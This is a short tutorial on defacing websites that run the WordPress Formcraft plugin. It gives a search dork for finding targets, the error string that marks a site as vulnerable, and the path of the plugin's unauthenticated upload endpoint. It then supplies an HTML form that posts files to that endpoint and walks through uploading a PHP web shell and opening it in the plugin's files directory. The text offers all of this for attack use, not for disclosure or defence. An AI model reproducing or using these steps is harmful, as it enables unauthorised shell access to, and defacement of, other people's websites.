::: How To Deface with Formcraft ? :::

- Dork : "powered by Formcraft"
- Vuln : {"failed":"No file found 2"}
- Exploit : wp-content/plugins/formcraft/file-upload/server/php/upload.php
- Your Accses Shell / File : wp-content/plugins/formcraft/file-upload/server/php/files/[randomcode]nameshell.php

- CSRF Script :

<form method="POST" action="target.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

Save your script use format .html

- My Target Is : http://example.com/
Add exploit in that link then become : http://example.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php

- Copy that link into your script
- then save use .html
- Open your script
- That is uploader
- Upload your shell
- My name of shell is : dr.php
- Click Upload
- This is a codeshell--nameshell.php [154df070a157db---dr.php]
- Then show up your codeshell.php
- Copy codeshell.php into url bar
- Paste your codeshell.php in the : wp-content/plugins/formcraft/file-upload/server/php/files/[codeshell]nameshell.php
- Happy Deface !!!